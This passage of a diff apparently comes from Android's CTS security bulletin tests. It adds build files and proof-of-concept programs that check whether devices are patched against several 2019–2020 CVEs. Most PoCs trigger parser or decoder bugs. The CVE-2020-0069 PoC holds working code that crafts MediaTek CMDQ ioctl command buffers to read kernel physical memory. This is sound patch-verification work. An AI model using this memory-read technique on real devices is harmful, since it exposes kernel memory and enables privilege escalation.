+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/src/common/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/inc/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfa/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfc/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc_nci_jni
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
new file mode 100644
index 0000000..5670db2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 0;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.mk
new file mode 100644
index 0000000..ec723d0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2134
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/src/common/
+LOCAL_C_INCLUDES_64 += packages/apps/Nfc/nci/jni/extns/pn54x/inc/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfa/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfc/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc_nci_jni
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
new file mode 100644
index 0000000..2486239
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+//This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 1;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/Android.mk
new file mode 100644
index 0000000..9bf92b1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2184
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_32 := frameworks/av/media/libstagefright/codecs/m4v_h263/dec/include/
+LOCAL_C_INCLUDES_32 += frameworks/av/media/libstagefright/codecs/m4v_h263/dec/src/
+LOCAL_C_INCLUDES_32 += frameworks/av/media/libstagefright
+LOCAL_SHARED_LIBRARIES_32 := libstagefright_soft_mpeg4dec
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DOSCL_EXPORT_REF= -DOSCL_IMPORT_REF=
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/poc.cpp
new file mode 100644
index 0000000..c5b75f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2184/poc.cpp
@@ -0,0 +1,118 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "mp4dec_api.h"
+
+#define START_CODE 0xB0010000
+#define SIZE 0x100
+#define REF_YUV_SIZE 1000
+#define WIDTH 0x80
+#define HEIGHT 0x60
+
+void clean_exit(uint8_t *frame, tagvideoDecControls *controls) {
+ delete frame;
+ delete controls;
+}
+#endif /* _32_BIT */
+
+int main(int argc, char *argv[]) {
+ (void)argc;
+ (void)argv;
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+ uint8 refYUV[REF_YUV_SIZE];
+ FILE *fp = nullptr;
+ uint8_t *frame = nullptr;
+ unsigned int frameSize = 0;
+ tagvideoDecControls *controls = nullptr;
+ uint8_t *volData[1];
+ int32_t volSize = 0;
+
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ frameSize = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ frame = new uint8_t[frameSize];
+ fread(frame, sizeof(uint8_t), frameSize, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ controls = new tagvideoDecControls;
+ memset(controls, 0, sizeof(tagvideoDecControls));
+
+ int size = SIZE;
+
+ uint32_t *volHeader = (uint32_t *) (frame);
+ if (*volHeader == START_CODE) {
+ PVCleanUpVideoDecoder(controls);
+ volData[0] = frame;
+ volSize = size;
+ } else {
+ volData[0] = nullptr;
+ volSize = 0;
+ size = 0;
+ }
+
+ if (!PVInitVideoDecoder(controls, volData, &volSize, 1, WIDTH, HEIGHT,
+ MPEG4_MODE)) {
+ clean_exit(frame, controls);
+ return EXIT_FAILURE;
+ }
+
+ MP4DecodingMode actualMode = PVGetDecBitstreamMode(controls);
+ if (actualMode != MPEG4_MODE) {
+ clean_exit(frame, controls);
+ return EXIT_FAILURE;
+ }
+
+ PVSetPostProcType((VideoDecControls *) controls, 0);
+ PVSetReferenceYUV(controls, refYUV);
+
+ uint8_t *bitstreamTmp = frame + size;
+ uint32_t timestamp = 0xFFFFFFFF;
+ int32_t tmp = frameSize - size;
+ VopHeaderInfo headerInfo;
+ uint32_t useExtTimestamp = 1;
+ if (PVDecodeVopHeader(controls, &bitstreamTmp, ×tamp, &tmp,
+ &headerInfo, &useExtTimestamp, refYUV) != PV_TRUE) {
+ clean_exit(frame, controls);
+ return EXIT_FAILURE;
+ }
+
+ if (PVDecodeVopBody(controls, &tmp) != PV_TRUE) {
+ clean_exit(frame, controls);
+ return EXIT_FAILURE;
+ }
+
+ clean_exit(frame, controls);
+#endif /* _32_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.mk
new file mode 100644
index 0000000..a8df1fb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2019-2228
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/libcups/cups
+LOCAL_SHARED_LIBRARIES := libcups
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
new file mode 100644
index 0000000..b55c6f6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <fcntl.h>
+#include <ipp.h>
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+int isInitialized = 0;
+void *check_ptr = NULL;
+size_t text_len = sizeof("text/plain") - 1;
+
+static void* (*real_malloc)(size_t) = NULL;
+static int (*real_strcmp)(const char* str1, const char* str2) = NULL;
+
+void init(void) {
+ real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (real_malloc == NULL) {
+ return;
+ }
+ real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+ if (real_strcmp == NULL) {
+ return;
+ }
+ isInitialized = 1;
+}
+
+void *malloc(size_t size) {
+ if (!isInitialized) {
+ init();
+ }
+ void *tmp = real_malloc(size);
+ if (size == text_len) {
+ check_ptr = tmp;
+ }
+ return tmp;
+}
+
+int strcmp(const char* str1, const char* str2) {
+ if (!isInitialized) {
+ init();
+ }
+ if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+ exit(EXIT_VULNERABLE);
+ }
+ return real_strcmp(str1, str2);
+}
+
+int main(int argc, char **argv) {
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ int file_desc = open((const char *) argv[1], O_RDONLY);
+ if (file_desc < 0) {
+ return EXIT_FAILURE;
+ }
+
+ ipp_t *job = ippNew();
+ if(!job) {
+ return EXIT_FAILURE;
+ }
+ ippReadFile(file_desc, job);
+
+ if(job) {
+ free(job);
+ }
+ close(file_desc);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.mk
new file mode 100644
index 0000000..699902a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0007
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libsensor
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_UNINITIALIZED_MEMORY\
+ -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
new file mode 100644
index 0000000..4d27ef6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
@@ -0,0 +1,66 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "stdlib.h"
+#include "sensor/Sensor.h"
+#include "hardware/sensors.h"
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+
+size_t vulnerableSize = 0;
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) {
+ return (size == vulnerableSize);
+}
+
+static sensor_t getTestSensorT() {
+ sensor_t hwSensor = { };
+ hwSensor.name = "Test ";
+ hwSensor.vendor = hwSensor.name;
+ hwSensor.version = 1;
+ hwSensor.handle = 2;
+ hwSensor.type = SENSOR_TYPE_ACCELEROMETER;
+ hwSensor.maxRange = 10.f;
+ hwSensor.resolution = 1.f;
+ hwSensor.power = 5.f;
+ hwSensor.minDelay = 1000;
+ hwSensor.fifoReservedEventCount = 50;
+ hwSensor.fifoMaxEventCount = 100;
+ hwSensor.stringType = SENSOR_STRING_TYPE_ACCELEROMETER;
+ hwSensor.requiredPermission = "";
+ hwSensor.maxDelay = 5000;
+ hwSensor.flags = SENSOR_FLAG_CONTINUOUS_MODE;
+ return hwSensor;
+}
+
+int main() {
+ sensor_t hwSensor = getTestSensorT();
+ Sensor sensor1(&hwSensor, SENSORS_DEVICE_API_VERSION_1_4);
+ vulnerableSize = sensor1.getFlattenedSize();
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ void *buffer = malloc(vulnerableSize);
+ enable_selective_overload = ENABLE_NONE;
+ if(!buffer){
+ return EXIT_FAILURE;
+ }
+ sensor1.flatten(buffer, vulnerableSize);
+ int status = is_memory_uninitialized();
+ free(buffer);
+ return status;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk
new file mode 100644
index 0000000..4bce9a40
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.mk
@@ -0,0 +1,34 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2020-0069
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES:=
+
+LOCAL_SHARED_LIBRARIES:=
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..4cc0852
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+ "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+ uint32_t count;
+ uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+ uint32_t count;
+ uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+ uint32_t count;
+ uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+ uint32_t count;
+ uint64_t addresses;
+ uint64_t values;
+};
+
+struct cmdqCommandStruct {
+ uint32_t value1;
+ uint32_t value2;
+ uint64_t value3;
+ uint64_t buffer;
+ uint32_t buffer_size;
+ struct cmdqReadRegStruct reg_request;
+ struct cmdqRegValueStruct reg_value;
+ struct cmdqReadAddressStruct read_address;
+ uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+ OperationSuccess,
+ OperationFailed,
+ OperationError,
+} OperationResult;
+
+#define SET_VALUE(x) \
+ instructions[command.buffer_size / 8] = (x); \
+ command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+ uint64_t instructions[0x100];
+ struct cmdqCommandStruct command;
+
+ memset(instructions, 0, sizeof(instructions));
+ memset(&command, 0, sizeof(command));
+
+ command.buffer = (uint64_t)&instructions;
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+ // CMDQ_CODE_EOC
+ SET_VALUE(0x4000000000000001);
+ // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+ SET_VALUE(0x1000000000000008);
+
+ for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+ int ioctl_result =
+ ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+ if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+ *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+ return OperationSuccess;
+ }
+ }
+
+ // Unable to identify the particular IOCTL code for this device.
+ return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+ uint64_t address, unsigned char *buffer,
+ size_t size) {
+ OperationResult result = OperationError;
+ uint64_t *instructions = NULL;
+ uint32_t *addresses = NULL;
+ struct cmdqCommandStruct command;
+ size_t num_words = size / 4;
+
+ if (size % 4) {
+ goto exit;
+ }
+
+ // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+ // read, plus another 4 for prologue/epilogue.
+ instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+ if (!instructions) {
+ goto exit;
+ }
+ // Another buffer to tell the driver where to read back from.
+ addresses = malloc(sizeof(uint32_t) * num_words);
+ if (!addresses) {
+ goto exit;
+ }
+ memset(&command, 0, sizeof(command));
+ command.buffer = (uint64_t)instructions;
+ command.read_address.count = size;
+ command.read_address.addresses = (uint64_t)addresses;
+ command.read_address.values = (uint64_t)buffer;
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+
+ for (size_t ii = 0; ii < num_words; ii++) {
+ addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+ // CMDQ_CODE_MOVE - put DMA address into register
+ SET_VALUE(0x0297000000000000 | addresses[ii]);
+ // CMDQ_CODE_WRITE - write PA into DMA address
+ SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+ // CMDQ_CODE_READ - read PA into register from DMA address
+ SET_VALUE(0x01d7000000000005);
+ // CMDQ_CODE_READ - read from PA into register
+ SET_VALUE(0x01c5000000000005);
+ // CMDQ_CODE_WRITE - write value into DMA address
+ SET_VALUE(0x04d7000000000005);
+ }
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+ // CMDQ_CODE_EOC
+ SET_VALUE(0x4000000000000001);
+ // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+ SET_VALUE(0x1000000000000008);
+
+ switch (ioctl(fd, ioctl_code, &command)) {
+ case -1:
+ if (errno == EFAULT) {
+ // Command buffer rejected, the driver is patched.
+ result = OperationFailed;
+ }
+ // Something is wrong with the command buffer. This may be a device
+ // type that has not been encountered during testing.
+ break;
+ case 0:
+ // Driver accepted the command buffer and did something with it.
+ result = OperationSuccess;
+ break;
+ }
+
+exit:
+ if (addresses) {
+ free(addresses);
+ }
+ if (instructions) {
+ free(instructions);
+ }
+ return result;
+}
+
+int main() {
+ int exit_code = EXIT_FAILURE;
+ int fd = -1;
+ unsigned char buffer[0x1000];
+ size_t read_size = 0x100;
+ struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+ int ioctl_code = 0;
+ bool command_accepted = false;
+ // Mediatek have given these as possible kernel base addresses for different
+ // devices.
+ unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+ unsigned long pa_length = 0x10000;
+
+ for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+ ii++) {
+ fd = open(device_names[ii], O_RDONLY);
+ if (-1 == fd) {
+ // If we can't access the driver, then it's not vulnerable.
+ if (errno == EACCES) {
+ exit_code = EXIT_SUCCESS;
+ goto exit;
+ }
+ } else {
+ break;
+ }
+ }
+ if (-1 == fd) {
+ goto exit;
+ }
+
+ if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+ goto exit;
+ }
+
+ if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+ goto exit;
+ }
+
+ for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+ ii++) {
+ for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+ pa += 0x1000) {
+ memset(buffer, 0, read_size);
+
+ switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+ read_size)) {
+ case OperationSuccess:
+ command_accepted = true;
+ for (size_t ii = 0; ii < read_size; ii++) {
+ if (buffer[ii] != 0) {
+ exit_code = EXIT_VULNERABLE;
+ goto exit;
+ }
+ }
+ break;
+ case OperationFailed:
+ exit_code = EXIT_SUCCESS;
+ break;
+ case OperationError:
+ break;
+ }
+ }
+ }
+
+ // If the driver accepted commands, but we didn't manage to read any data,
+ // then we failed to demonstrate a vulnerability.
+ if (command_accepted) {
+ exit_code = EXIT_SUCCESS;
+ }
+
+exit:
+ if (-1 != fd) {
+ if (kernel_buffer.address != 0) {
+ (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+ }
+ (void)close(fd);
+ }
+
+ return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/Android.mk
new file mode 100644
index 0000000..118e60d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0101
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := frameworks/av/media/libmedia/include
+LOCAL_SHARED_LIBRARIES := libbinder
